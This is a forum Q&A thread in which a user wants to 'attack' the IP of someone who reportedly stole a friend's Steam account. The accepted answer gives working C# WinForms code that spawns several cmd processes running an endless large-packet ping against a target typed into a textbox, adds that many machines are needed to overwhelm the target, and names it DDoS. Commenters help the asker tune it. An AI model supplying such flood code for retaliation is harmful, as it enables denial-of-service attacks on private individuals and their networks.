c# how to make an attack ping the ip of a computer

Asked

Viewed 189 times

-5

Hello everyone I needed to know how can I ping an ip using winforms someone can help me is someone stole the Steam account from a friend?

  • 1

    Excuse my ignorance, but tell me something: do you intend to recover this account with this? How?

  • I’m going down to not leave rank or any of that he continues to access the account or sell skins

  • You know that internet IP’s renew when the modem is restarted, right?

  • yes but it’s only today he’ll be back in a few hours

1 answer

5


you can try something like

private void button1_Click(object sender, EventArgs e)
    {
        Pekiradu(textBox1.Text);
    }

    private static void Pekiradu(string destino)
    {
        System.Diagnostics.Process proc;
        int i = 0;
        string cmd = $"/C ping {destino} -t -l 65000";
        for (i = 0; i < 5; i++)
        {
            proc = new System.Diagnostics.Process();
            proc.EnableRaisingEvents = false;
            proc.StartInfo.FileName = "cmd";
            proc.StartInfo.Arguments = cmd;
            proc.Start();
        }
    }

Only you will need to have an internet superior to the target being attacked, or have many other computers on different networks firing this ping to the same fate.

Basically what you’re trying to create is a Ddos

  • thanks but there is no way to make it possible to edit in winform the ip and the 65000 <-(I don’t know the name of this)

  • So, I made an adaptation in the code, I put everything inside a function, it is only in the event of the button you call this function and pass the value typed in Edit

  • yes but what I also wanted if I knew is for example the ip to be edited in a textbox

  • I edited the answer, added how to pass the typed value in the textBox1 as parameter pro Pingar method.

  • is giving thanks :D

Browser other questions tagged

You are not signed in. Login or sign up in order to post.